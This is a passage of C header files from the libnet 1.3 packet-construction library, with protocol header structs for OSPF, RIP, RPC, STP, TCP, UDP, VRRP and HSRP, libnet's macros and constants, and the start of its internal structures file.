ospf_area_id;/* roam ID */ uint16_t ospf_sum; /* checksum */ uint16_t ospf_auth_type; /* authentication type */ #define LIBNET_OSPF_AUTH_NULL 0 /* null password */ #define LIBNET_OSPF_AUTH_SIMPLE 1 /* simple, plaintext, 8 int8_t password */ #define LIBNET_OSPF_AUTH_MD5 2 /* MD5 */ }; /* * OSPF authentication header * Open Shortest Path First * Static header size: 8 bytes */ struct libnet_auth_hdr { uint16_t ospf_auth_null; /* NULL */ uint8_t ospf_auth_keyid; /* authentication key ID */ uint8_t ospf_auth_len; /* auth data length */ uint32_t ospf_auth_seq; /* cryptographic sequence number */ }; /* * OSPF hello header * Open Shortest Path First * Static header size: 28 bytes */ struct libnet_ospf_hello_hdr { struct in_addr hello_nmask; /* netmask associated with the interface */ uint16_t hello_intrvl; /* num of seconds between routers last packet */ uint8_t hello_opts; /* Options for HELLO packets (look above) */ uint8_t hello_rtr_pri; /* router's priority (if 0, can't be backup) */ uint32_t hello_dead_intvl; /* # of secs a router is silent till deemed down */ struct in_addr hello_des_rtr; /* Designated router on the network */ struct in_addr hello_bkup_rtr; /* Backup router */ struct in_addr hello_nbr; /* neighbor router, memcpy more as needed */ }; /* * Database Description header. */ struct libnet_dbd_hdr { uint16_t dbd_mtu_len; /* max length of IP dgram that this 'if' can use */ uint8_t dbd_opts; /* DBD packet options (from above) */ uint8_t dbd_type; /* type of exchange occurring */ #define LIBNET_DBD_IBI 0x01 /* init */ #define LIBNET_DBD_MBIT 0x02 /* more DBD packets are to come */ #define LIBNET_DBD_MSBIT 0x04 /* If 1, sender is the master in the exchange */ uint32_t dbd_seq; /* DBD sequence number */ }; /* * used for the LS type field in all LS* headers */ #define LIBNET_LS_TYPE_RTR 1 /* router-LSA */ #define LIBNET_LS_TYPE_NET 2 /* network-LSA */ #define LIBNET_LS_TYPE_IP 3 /* summary-LSA (IP Network) */ #define LIBNET_LS_TYPE_ASBR 4 /* summary-LSA (ASBR) */ #define LIBNET_LS_TYPE_ASEXT 5 /* AS-external-LSA */ /* * Link State Request header */ struct libnet_lsr_hdr { uint32_t lsr_type; /* type of LS being requested */ uint32_t lsr_lsid; /* link state ID */ struct in_addr lsr_adrtr; /* advertising router (memcpy more as needed) */ }; /* * Link State Update header */ struct libnet_lsu_hdr { uint32_t lsu_num; /* number of LSAs that will be broadcasted */ }; /* * Link State Acknowledgement header. */ struct libnet_lsa_hdr { uint16_t lsa_age; /* time in seconds since the LSA was originated */ uint8_t lsa_opts; /* look above for OPTS_* */ uint8_t lsa_type; /* look below for LS_TYPE_* */ uint32_t lsa_id; /* link State ID */ struct in_addr lsa_adv; /* router ID of Advertising router */ uint32_t lsa_seq; /* LSA sequence number to detect old/bad ones */ uint16_t lsa_sum; /* "Fletcher Checksum" of all fields minus age */ uint16_t lsa_len; /* length in bytes including the 20 byte header */ }; /* * Router LSA data format * * Other stuff for TOS can be added for backward compatability, for this * version, only OSPFv2 is being FULLY supported. */ struct libnet_rtr_lsa_hdr { uint16_t rtr_flags; /* set to help describe packet */ #define LIBNET_RTR_FLAGS_W 0x0100 /* W bit */ #define LIBNET_RTR_FLAGS_E 0x0200 /* E bit */ #define LIBNET_RTR_FLAGS_B 0x0400 /* B bit */ uint16_t rtr_num; /* number of links within that packet */ uint32_t rtr_link_id; /* describes link_data (look below) */ #define LIBNET_LINK_ID_NBR_ID 1 /* Neighbors router ID, also can be 4 */ #define LIBNET_LINK_ID_IP_DES 2 /* IP address of designated router */ #define LIBNET_LINK_ID_SUB 3 /* IP subnet number */ uint32_t rtr_link_data; /* Depending on link_id, info is here */ uint8_t rtr_type; /* Description of router link */ #define LIBNET_RTR_TYPE_PTP 1 /* Point-To-Point */ #define LIBNET_RTR_TYPE_TRANS 2 /* Connection to a "transit network" */ #define LIBNET_RTR_TYPE_STUB 3 /* Connectin to a "stub network" */ #define RTR_TYPE_VRTL 4 /* connects to a "virtual link" */ uint8_t rtr_tos_num; /* number of different TOS metrics for this link */ uint16_t rtr_metric; /* the "cost" of using this link */ }; /* * Network LSA data format. */ struct libnet_net_lsa_hdr { struct in_addr net_nmask; /* Netmask for that network */ uint32_t net_rtr_id; /* ID of router attached to that network */ }; /* * Summary LSA data format. */ struct libnet_sum_lsa_hdr { struct in_addr sum_nmask; /* Netmask of destination IP address */ uint32_t sum_metric; /* Same as in rtr_lsa (&0xfff to use last 24bit */ uint32_t sum_tos_metric; /* first 8bits are TOS, 24bits are TOS Metric */ }; /* * AS External LSA data format. * & 0xfff logic operator for as_metric to get last 24bits. */ struct libnet_as_lsa_hdr { struct in_addr as_nmask; /* Netmask for advertised destination */ uint32_t as_metric; /* May have to set E bit in first 8bits */ #define LIBNET_AS_E_BIT_ON 0x80000000 /* as_metric */ struct in_addr as_fwd_addr; /* Forwarding address */ uint32_t as_rte_tag; /* External route tag */ }; /* * Base RIP header * Routing Information Protocol * Base header size: 24 bytes */ struct libnet_rip_hdr { uint8_t rip_cmd; /* RIP command */ #define RIPCMD_REQUEST 1 /* want info */ #define RIPCMD_RESPONSE 2 /* responding to request */ #define RIPCMD_TRACEON 3 /* turn tracing on */ #define RIPCMD_TRACEOFF 4 /* turn it off */ #define RIPCMD_POLL 5 /* like request, but anyone answers */ #define RIPCMD_POLLENTRY 6 /* like poll, but for entire entry */ #define RIPCMD_MAX 7 /* ? command */ uint8_t rip_ver; /* RIP version */ #define RIPVER_0 0 #define RIPVER_1 1 #define RIPVER_2 2 uint16_t rip_rd; /* Zero (v1) or Routing Domain (v2) */ uint16_t rip_af; /* Address family */ uint16_t rip_rt; /* Zero (v1) or Route Tag (v2) */ uint32_t rip_addr; /* IP address */ uint32_t rip_mask; /* Zero (v1) or Subnet Mask (v2) */ uint32_t rip_next_hop; /* Zero (v1) or Next hop IP address (v2) */ uint32_t rip_metric; /* Metric */ }; /* * RPC headers * Remote Procedure Call */ #define LIBNET_RPC_CALL 0 #define LIBNET_RPC_REPLY 1 #define LIBNET_RPC_VERS 2 #define LIBNET_RPC_LAST_FRAG 0x80000000 /* * Portmap defines */ #define LIBNET_PMAP_PROGRAM 100000 #define LIBNET_PMAP_PROC_NULL 0 #define LIBNET_PMAP_PROC_SET 1 #define LIBNET_PMAP_PROC_UNSET 2 #define LIBNET_PMAP_PROC_GETADDR 3 #define LIBNET_PMAP_PROC_DUMP 4 #define LIBNET_PMAP_PROC_CALLIT 5 #define LIBNET_PMAP_PROC_BCAST 5 /* Not a typo */ #define LIBNET_PMAP_PROC_GETTIME 6 #define LIBNET_PMAP_PROC_UADDR2TADDR 7 #define LIBNET_PMAP_PROC_TADDR2UADDR 8 #define LIBNET_PMAP_PROC_GETVERSADDR 9 #define LIBNET_PMAP_PROC_INDIRECT 10 #define LIBNET_PMAP_PROC_GETADDRLIST 11 #define LIBNET_PMAP_PROC_GETSTAT 12 /* There will be more to add... */ struct libnet_rpc_opaque_auth { uint32_t rpc_auth_flavor; uint32_t rpc_auth_length; #if 0 uint8_t *rpc_auth_data; #endif }; struct libnet_rpc_call { uint32_t rpc_rpcvers; /* RPC version - must be 2 */ uint32_t rpc_prognum; /* Program Number */ uint32_t rpc_vers; /* Program Version */ uint32_t rpc_procedure; /* RPC procedure */ struct libnet_rpc_opaque_auth rpc_credentials; struct libnet_rpc_opaque_auth rpc_verifier; }; struct libnet_rpc_call_hdr { uint32_t rpc_xid; /* xid (transaction identifier) */ uint32_t rpc_type; struct libnet_rpc_call rpc_call; }; struct libnet_rpc_call_tcp_hdr { uint32_t rpc_record_marking; /* used with byte stream protocols */ struct libnet_rpc_call_hdr rpc_common; }; /* * STP configuration header * Spanning Tree Protocol * Static header size: 35 bytes */ struct libnet_stp_conf_hdr { uint16_t stp_id; /* protocol id */ uint8_t stp_version; /* protocol version */ uint8_t stp_bpdu_type; /* bridge protocol data unit type */ uint8_t stp_flags; /* control flags */ uint8_t stp_rootid[8]; /* root id */ uint32_t stp_rootpc; /* root path cost */ uint8_t stp_bridgeid[8]; /* bridge id */ uint16_t stp_portid; /* port id */ uint16_t stp_mage; /* message age */ uint16_t stp_maxage; /* max age */ uint16_t stp_hellot; /* hello time */ uint16_t stp_fdelay; /* forward delay */ }; /* * STP topology change notification header * Spanning Tree Protocol * Static header size: 4 bytes */ struct libnet_stp_tcn_hdr { uint16_t stp_id; /* protocol id */ uint8_t stp_version; /* protocol version */ uint8_t stp_bpdu_type; /* bridge protocol data unit type */ }; /* * UDLD header * UniDirectional Link Detection * Base header size: 4 bytes */ struct libnet_udld_hdr { /* LLC Info */ #define LIBNET_UDLD_DEST_MAC {0x01, 0x00, 0x0C, 0xCC, 0xCC, 0xCC} /* UDLD SNAP Format */ #define LIBNET_UDLD_LLC_DSAP 0xAA #define LIBNET_UDLD_LLC_SSAP 0xAA #define LIBNET_UDLD_LLC_CONTROL 0x03 #define LIBNET_UDLD_OID {0x00, 0x00, 0x0C} #define LIBNET_UDLD_HDLC_PROTO_TYPE 0x0111 /* Protocol Data Unit (PDU) Format */ uint8_t version_opcode; #define LIBNET_UDLD_PDU_VERSION 0x01 #define LIBNET_UDLD_PDU_VERSION_OFFSET (5) #define LIBNET_UDLD_PDU_OPCODE_RESERVED 0x00 /* Reserved opcode message */ #define LIBNET_UDLD_PDU_OPCODE_PROBE 0x01 /* Probe opcode message */ #define LIBNET_UDLD_PDU_OPCODE_ECHO 0x02 /* Echo opcode message */ #define LIBNET_UDLD_PDU_OPCODE_FLUSH 0x03 /* Flush opcode message */ #define LIBNET_UDLD_PDU_OPCODE_RESERVED_FUTURE 0x04 /* Reserved for future use 0x04-0x1F */ #define LIBNET_UDLD_PDU_OPCODE_MASK 0x1F uint8_t flags; #define LIBNET_UDLD_FLAG_RT 0x01 /* Bit 0 : Recommended timeout flag (RT) */ #define LIBNET_UDLD_FLAG_RSY 0x02 /* Bit 1 : ReSynch flag (RSY) */ #define LIBNET_UDLD_FLAG_RESERVED 0x03 /* Bit 2-7: Reserved for future use */ uint16_t checksum; /* IP-like checksum */ #define LIBNET_PROTO_UDLD 202 /* TLVs */ #define LIBNET_UDLD_TLV_HDR_SIZE 0x04 /* UDLD TLV's header size 4 bytes */ uint16_t tlv__type; #define LIBNET_UDLD_DEVICE_ID 0x0001 /* Value format: ASCII character string */ #define LIBNET_UDLD_PORT_ID 0x0002 /* Value format: ASCII character string */ #define LIBNET_UDLD_ECHO 0x0003 /* Value format: List of ID pairs */ #define LIBNET_UDLD_MESSAGE_INTERVAL 0x0004 /* Value format: 8-bit unsigned integer */ #define LIBNET_UDLD_TIMEOUT_INTERVAL 0x0005 /* Value format: 8-bit unsigned integer */ #define LIBNET_UDLD_DEVICE_NAME 0x0006 /* Value format: ASCII character string */ #define LIBNET_UDLD_SEQUENCE_NUMBER 0x0007 /* Value format: 32-bit unsigned integer */ /* Reserved TLVs >0x0007 Value format: To be skipped by parsing routine */ uint16_t tlv__length; /* TLV value types */ #define LIBNET_UDLD_VALUE_TYPE_ASCII (0) #define LIBNET_UDLD_VALUE_TYPE_ID_PAIRS (1) #define LIBNET_UDLD_VALUE_TYPE_8_BIT_UINT (2) #define LIBNET_UDLD_VALUE_TYPE_32_BIT_UINT (3) }; /* * TCP header * Transmission Control Protocol * Static header size: 20 bytes */ struct libnet_tcp_hdr { uint16_t th_sport; /* source port */ uint16_t th_dport; /* destination port */ uint32_t th_seq; /* sequence number */ uint32_t th_ack; /* acknowledgement number */ #if (LIBNET_LIL_ENDIAN) uint8_t th_x2:4, /* (unused) */ th_off:4; /* data offset */ #endif #if (LIBNET_BIG_ENDIAN) uint8_t th_off:4, /* data offset */ th_x2:4; /* (unused) */ #endif uint8_t th_flags; /* control flags */ #ifndef TH_FIN #define TH_FIN 0x01 /* finished send data */ #endif #ifndef TH_SYN #define TH_SYN 0x02 /* synchronize sequence numbers */ #endif #ifndef TH_RST #define TH_RST 0x04 /* reset the connection */ #endif #ifndef TH_PUSH #define TH_PUSH 0x08 /* push data to the app layer */ #endif #ifndef TH_ACK #define TH_ACK 0x10 /* acknowledge */ #endif #ifndef TH_URG #define TH_URG 0x20 /* urgent! */ #endif #ifndef TH_ECE #define TH_ECE 0x40 #endif #ifndef TH_CWR #define TH_CWR 0x80 #endif uint16_t th_win; /* window */ uint16_t th_sum; /* checksum */ uint16_t th_urp; /* urgent pointer */ }; /* * Token Ring Header */ struct libnet_token_ring_hdr { uint8_t token_ring_access_control; #define LIBNET_TOKEN_RING_FRAME 0x10 uint8_t token_ring_frame_control; #define LIBNET_TOKEN_RING_LLC_FRAME 0x40 uint8_t token_ring_dhost[TOKEN_RING_ADDR_LEN]; uint8_t token_ring_shost[TOKEN_RING_ADDR_LEN]; uint8_t token_ring_llc_dsap; uint8_t token_ring_llc_ssap; uint8_t token_ring_llc_control_field; uint8_t token_ring_llc_org_code[LIBNET_ORG_CODE_SIZE]; uint16_t token_ring_type; #define TOKEN_RING_TYPE_IP 0x0800 /* IP protocol */ #define TOKEN_RING_TYPE_ARP 0x0806 /* addr. resolution protocol */ #define TOKEN_RING_TYPE_REVARP 0x8035 /* reverse addr. resolution protocol */ }; struct libnet_token_ring_addr { uint8_t token_ring_addr_octet[6]; /* Token Ring address */ }; /* * UDP header * User Data Protocol * Static header size: 8 bytes */ struct libnet_udp_hdr { uint16_t uh_sport; /* source port */ uint16_t uh_dport; /* destination port */ uint16_t uh_ulen; /* length */ uint16_t uh_sum; /* checksum */ }; /* * Sebek header * Static header size: 48 bytes */ struct libnet_sebek_hdr { uint32_t magic; /* identify packets that should be hidden */ uint16_t version; /* protocol version, currently 1 */ #define SEBEK_PROTO_VERSION 1 uint16_t type; /* type of record (read data is type 0, write data is type 1) */ #define SEBEK_TYPE_READ 0 /* Currently, only read is supported */ #define SEBEK_TYPE_WRITE 1 uint32_t counter; /* PDU counter used to identify when packet are lost */ uint32_t time_sec; /* seconds since EPOCH according to the honeypot */ uint32_t time_usec; /* residual microseconds */ uint32_t pid; /* PID */ uint32_t uid; /* UID */ uint32_t fd; /* FD */ #define SEBEK_CMD_LENGTH 12 uint8_t cmd[SEBEK_CMD_LENGTH]; /* 12 first characters of the command */ uint32_t length; /* length in bytes of the PDU's body */ }; /* * VRRP header * Virtual Router Redundancy Protocol * Static header size: 8 bytes */ #ifndef IPPROTO_VRRP #define IPPROTO_VRRP 112 /* not everyone's got this */ #endif struct libnet_vrrp_hdr { #if (LIBNET_LIL_ENDIAN) uint8_t vrrp_v:4, /* protocol version */ vrrp_t:4; /* packet type */ #endif #if (LIBNET_BIG_ENDIAN) uint8_t vrrp_t:4, /* packet type */ vrrp_v:4; /* protocol version */ #endif #define LIBNET_VRRP_VERSION_01 0x1 #define LIBNET_VRRP_VERSION_02 0x2 #define LIBNET_VRRP_TYPE_ADVERT 0x1 uint8_t vrrp_vrouter_id; /* virtual router id */ uint8_t vrrp_priority; /* priority */ uint8_t vrrp_ip_count; /* number of IP addresses */ uint8_t vrrp_auth_type; /* authorization type */ #define LIBNET_VRRP_AUTH_NONE 0x1 #define LIBNET_VRRP_AUTH_PASSWD 0x2 #define LIBNET_VRRP_AUTH_IPAH 0x3 uint8_t vrrp_advert_int; /* advertisement interval */ uint16_t vrrp_sum; /* checksum */ /* additional addresses */ /* authentication info */ }; /* * HSRP header * Static header size: 20 bytes */ struct libnet_hsrp_hdr { #define LIBNET_HSRP_VERSION 0x0 uint8_t version; /* Version of the HSRP messages */ #define LIBNET_HSRP_TYPE_HELLO 0x0 #define LIBNET_HSRP_TYPE_COUP 0x1 #define LIBNET_HSRP_TYPE_RESIGN 0x2 uint8_t opcode; /* Type of message */ #define LIBNET_HSRP_STATE_INITIAL 0x0 #define LIBNET_HSRP_STATE_LEARN 0x1 #define LIBNET_HSRP_STATE_LISTEN 0x2 #define LIBNET_HSRP_STATE_SPEAK 0x4 #define LIBNET_HSRP_STATE_STANDBY 0x8 #define LIBNET_HSRP_STATE_ACTIVE 0x10 uint8_t state; /* Current state of the router */ uint8_t hello_time; /* Period in seconds between hello messages */ uint8_t hold_time; /* Seconds that the current hello message is valid */ uint8_t priority; /* Priority for the election proccess */ uint8_t group; /* Standby group */ uint8_t reserved; /* Reserved field */ #define HSRP_AUTHDATA_LENGTH 8 uint8_t authdata[HSRP_AUTHDATA_LENGTH]; /* Password */ uint32_t virtual_ip; /* Virtual IP address */ }; #endif /* __LIBNET_HEADERS_H */ /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/include/libnet/libnet-macros.h0000664000175000017500000001545614506572036016701 0ustar syqsyq/* * $Id: libnet-macros.h,v 1.7 2004/04/13 17:32:28 mike Exp $ * * libnet-macros.h - Network routine library macro header file * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #ifndef __LIBNET_MACROS_H #define __LIBNET_MACROS_H /** * @file libnet-macros.h * @brief libnet macros and symbolic constants */ /** * Used for libnet's name resolution functions, specifies that no DNS lookups * should be performed and the IP address should be kept in numeric form. */ #define LIBNET_DONT_RESOLVE 0 /** * Used for libnet's name resolution functions, specifies that a DNS lookup * can be performed if needed to resolve the IP address to a canonical form. */ #define LIBNET_RESOLVE 1 /** * Used several places, to specify "on" or "one" */ #define LIBNET_ON 0 /** * Used several places, to specify "on" or "one" */ #define LIBNET_OFF 1 /** * IPv6 error code */ #ifndef IN6ADDR_ERROR_INIT #define IN6ADDR_ERROR_INIT { { { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, \ 0xff, 0xff } } } #endif /** * Used for libnet_get_prand() to specify function disposition */ #define LIBNET_PR2 0 #define LIBNET_PR8 1 #define LIBNET_PR16 2 #define LIBNET_PRu16 3 #define LIBNET_PR32 4 #define LIBNET_PRu32 5 #define LIBNET_PRAND_MAX 0xffffffff /** * The biggest an IP packet can be -- 65,535 bytes. */ #define LIBNET_MAX_PACKET 0xffff #ifndef IP_MAXPACKET #define IP_MAXPACKET 0xffff #endif /* ethernet addresses are 6 octets long */ #ifndef ETHER_ADDR_LEN #define ETHER_ADDR_LEN 0x6 #endif /* FDDI addresses are 6 octets long */ #ifndef FDDI_ADDR_LEN #define FDDI_ADDR_LEN 0x6 #endif /* token ring addresses are 6 octets long */ #ifndef TOKEN_RING_ADDR_LEN #define TOKEN_RING_ADDR_LEN 0x6 #endif /* LLC Organization Code is 3 bytes long */ #define LIBNET_ORG_CODE_SIZE 0x3 /** * The libnet error buffer is 256 bytes long. */ #define LIBNET_ERRBUF_SIZE 0x100 /** * IP and TCP options can be up to 40 bytes long. */ #define LIBNET_MAXOPTION_SIZE 0x28 /* some BSD variants have this endianess problem */ #if (LIBNET_BSD_BYTE_SWAP) #define FIX(n) ntohs(n) #define UNFIX(n) htons(n) #else #define FIX(n) (n) #define UNFIX(n) (n) #endif /* used internally for packet builders */ #define LIBNET_DO_PAYLOAD(l, p) \ if (payload_s && !payload) \ { \ snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, \ "%s(): payload inconsistency\n", __func__); \ goto bad; \ } \ if (payload_s) \ { \ n = libnet_pblock_append(l, p, payload, payload_s); \ if (n == (uint32_t) - 1) \ { \ goto bad; \ } \ } \ /* used internally for LLDP stuff */ #define LIBNET_LLDP_TLV_SET_TYPE(tlv, type) (tlv |= (type << 9)) #define LIBNET_LLDP_TLV_SET_LEN(tlv, len) (tlv |= len) /* used internally for checksum stuff */ #define LIBNET_CKSUM_CARRY(x) \ (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff)) /* used interally for OSPF stuff */ #define LIBNET_OSPF_AUTHCPY(x, y) \ memcpy((uint8_t *)x, (uint8_t *)y, sizeof(y)) #define LIBNET_OSPF_CKSUMBUF(x, y) \ memcpy((uint8_t *)x, (uint8_t *)y, sizeof(y)) /* used internally for NTP leap indicator, version, and mode */ #define LIBNET_NTP_DO_LI_VN_MODE(li, vn, md) \ ((uint8_t)((((li) << 6) & 0xc0) | (((vn) << 3) & 0x38) | ((md) & 0x7))) /* Not all systems have IFF_LOOPBACK */ #ifdef IFF_LOOPBACK #define LIBNET_ISLOOPBACK(p) ((p)->ifr_flags & IFF_LOOPBACK) #else #define LIBNET_ISLOOPBACK(p) (strcmp((p)->ifr_name, "lo") == 0) #endif /* advanced mode check */ #define LIBNET_ISADVMODE(x) (x & 0x08) /* context queue macros and constants */ #define LIBNET_LABEL_SIZE 64 #define LIBNET_LABEL_DEFAULT "cardshark" #define CQ_LOCK_UNLOCKED (uint32_t)0x00000000 #define CQ_LOCK_READ (uint32_t)0x00000001 #define CQ_LOCK_WRITE (uint32_t)0x00000002 /** * Provides an interface to iterate through the context queue of libnet * contexts. Before calling this macro, be sure to set the queue using * libnet_cq_head(). */ #define for_each_context_in_cq(l) \ for (l = libnet_cq_head(); libnet_cq_last(); l = libnet_cq_next()) /* return 1 if write lock is set on cq */ #define cq_is_wlocked() (l_cqd.cq_lock & CQ_LOCK_WRITE) /* return 1 if read lock is set on cq */ #define cq_is_rlocked() (l_cqd.cq_lock & CQ_LOCK_READ) /* return 1 if any lock is set on cq */ #define cq_is_locked() (l_cqd.cq_lock & (CQ_LOCK_READ | CQ_LOCK_WRITE)) /* check if a context queue is locked */ #define check_cq_lock(x) (l_cqd.cq_lock & x) #endif /* __LIBNET_MACROS_H */ /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * End: */ libnet-1.3/include/libnet/libnet-structures.h0000664000175000017500000003244414506572036017634 0ustar syqsyq/* * libnet-structures.h - Network routine library structures header file * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #ifndef __LIBNET_STRUCTURES_H #define __LIBNET_STRUCTURES_H #if ((_WIN32) && !(__CYGWIN__)) #include "Packet32.h" #endif /* port list chain structure */ typedef struct libnet_port_list_chain libnet_plist_t; struct libnet_port_list_chain { uint16_t node; /* node number */ uint16_t bport; /* beginning port */ uint16_t eport; /* terminating port */ uint8_t id; /* global array offset */ libnet_plist_t *next; /* next node in the list */ }; /* libnet statistics structure */ struct libnet_stats { int64_t packets_sent; /* packets sent */ int64_t packet_errors; /* packets errors */ int64_t bytes_written; /* bytes written */ }; /* * Libnet ptags are how we identify specific protocol blocks inside the * list. */ typedef int32_t libnet_ptag_t; #define LIBNET_PTAG_INITIALIZER 0 /* * Libnet generic protocol block memory object. Sort of a poor man's mbuf. */ struct libnet_protocol_block { uint8_t *buf; /* protocol buffer */ uint32_t b_len; /* length of buf */ uint16_t h_len; /* header length */ /* Passed as last argument to libnet_do_checksum(). Not necessarily used * by that function, it is essentially a pblock specific number, passed * from _builder to the _do_checksum * * Unused for IPV4_H block types. * * For protocols that sit on top of IP, it should be the the amount of * buf that will be included in the checksum, starting from the beginning * of the header. */ uint32_t copied; /* bytes copied - the amount of data copied into buf */ /* Used and updated by libnet_pblock_append(). */ uint8_t type; /* type of pblock */ /* this needs to be updated every time a new packet builder is added */ /* libnet_diag_dump_pblock_type() also needs updating for every new pblock tag */ #define LIBNET_PBLOCK_ARP_H 0x01 /* ARP header */ #define LIBNET_PBLOCK_DHCPV4_H 0x02 /* DHCP v4 header */ #define LIBNET_PBLOCK_DNSV4_H 0x03 /* DNS v4 header */ #define LIBNET_PBLOCK_ETH_H 0x04 /* Ethernet header */ #define LIBNET_PBLOCK_ICMPV4_H 0x05 /* ICMP v4 base header */ #define LIBNET_PBLOCK_ICMPV4_ECHO_H 0x06 /* ICMP v4 echo header */ #define LIBNET_PBLOCK_ICMPV4_MASK_H 0x07 /* ICMP v4 mask header */ #define LIBNET_PBLOCK_ICMPV4_UNREACH_H 0x08 /* ICMP v4 unreach header */ #define LIBNET_PBLOCK_ICMPV4_TIMXCEED_H 0x09 /* ICMP v4 exceed header */ #define LIBNET_PBLOCK_ICMPV4_REDIRECT_H 0x0a /* ICMP v4 redirect header */ #define LIBNET_PBLOCK_ICMPV4_TS_H 0x0b /* ICMP v4 timestamp header */ #define LIBNET_PBLOCK_IGMP_H 0x0c /* IGMP header */ #define LIBNET_PBLOCK_IPV4_H 0x0d /* IP v4 header */ #define LIBNET_PBLOCK_IPO_H 0x0e /* IP v4 options */ #define LIBNET_PBLOCK_IPDATA 0x0f /* IP data */ #define LIBNET_PBLOCK_OSPF_H 0x10 /* OSPF base header */ #define LIBNET_PBLOCK_OSPF_HELLO_H 0x11 /* OSPF hello header */ #define LIBNET_PBLOCK_OSPF_DBD_H 0x12 /* OSPF dbd header */ #define LIBNET_PBLOCK_OSPF_LSR_H 0x13 /* OSPF lsr header */ #define LIBNET_PBLOCK_OSPF_LSU_H 0x14 /* OSPF lsu header */ #define LIBNET_PBLOCK_OSPF_LSA_H 0x15 /* OSPF lsa header */ #define LIBNET_PBLOCK_OSPF_AUTH_H 0x16 /* OSPF auth header */ #define LIBNET_PBLOCK_OSPF_CKSUM 0x17 /* OSPF checksum header */ #define LIBNET_PBLOCK_LS_RTR_H 0x18 /* linkstate rtr header */ #define LIBNET_PBLOCK_LS_NET_H 0x19 /* linkstate net header */ #define LIBNET_PBLOCK_LS_SUM_H 0x1a /* linkstate as sum header */ #define LIBNET_PBLOCK_LS_AS_EXT_H 0x1b /* linkstate as ext header */ #define LIBNET_PBLOCK_NTP_H 0x1c /* NTP header */ #define LIBNET_PBLOCK_RIP_H 0x1d /* RIP header */ #define LIBNET_PBLOCK_TCP_H 0x1e /* TCP header */ #define LIBNET_PBLOCK_TCPO_H 0x1f /* TCP options */ #define LIBNET_PBLOCK_TCPDATA 0x20 /* TCP data */ #define LIBNET_PBLOCK_UDP_H 0x21 /* UDP header */ #define LIBNET_PBLOCK_VRRP_H 0x22 /* VRRP header */ #define LIBNET_PBLOCK_DATA_H 0x23 /* generic data */ #define LIBNET_PBLOCK_CDP_H 0x24 /* CDP header */ #define LIBNET_PBLOCK_IPSEC_ESP_HDR_H 0x25 /* IPSEC ESP header */ #define LIBNET_PBLOCK_IPSEC_ESP_FTR_H 0x26 /* IPSEC ESP footer */ #define LIBNET_PBLOCK_IPSEC_AH_H 0x27 /* IPSEC AH header */ #define LIBNET_PBLOCK_802_1Q_H 0x28 /* 802.1q header */ #define LIBNET_PBLOCK_802_2_H 0x29 /* 802.2 header */ #define LIBNET_PBLOCK_802_2SNAP_H 0x2a /* 802.2 SNAP header */ #define LIBNET_PBLOCK_802_3_H 0x2b /* 802.3 header */ #define LIBNET_PBLOCK_STP_CONF_H 0x2c /* STP configuration header */ #define LIBNET_PBLOCK_STP_TCN_H 0x2d /* STP TCN header */ #define LIBNET_PBLOCK_ISL_H 0x2e /* ISL header */ #define LIBNET_PBLOCK_IPV6_H 0x2f /* IP v6 header */ #define LIBNET_PBLOCK_802_1X_H 0x30 /* 802.1x header */ #define LIBNET_PBLOCK_RPC_CALL_H 0x31 /* RPC Call header */ #define LIBNET_PBLOCK_MPLS_H 0x32 /* MPLS header */ #define LIBNET_PBLOCK_FDDI_H 0x33 /* FDDI header */ #define LIBNET_PBLOCK_TOKEN_RING_H 0x34 /* TOKEN RING header */ #define LIBNET_PBLOCK_BGP4_HEADER_H 0x35 /* BGP4 header */ #define LIBNET_PBLOCK_BGP4_OPEN_H 0x36 /* BGP4 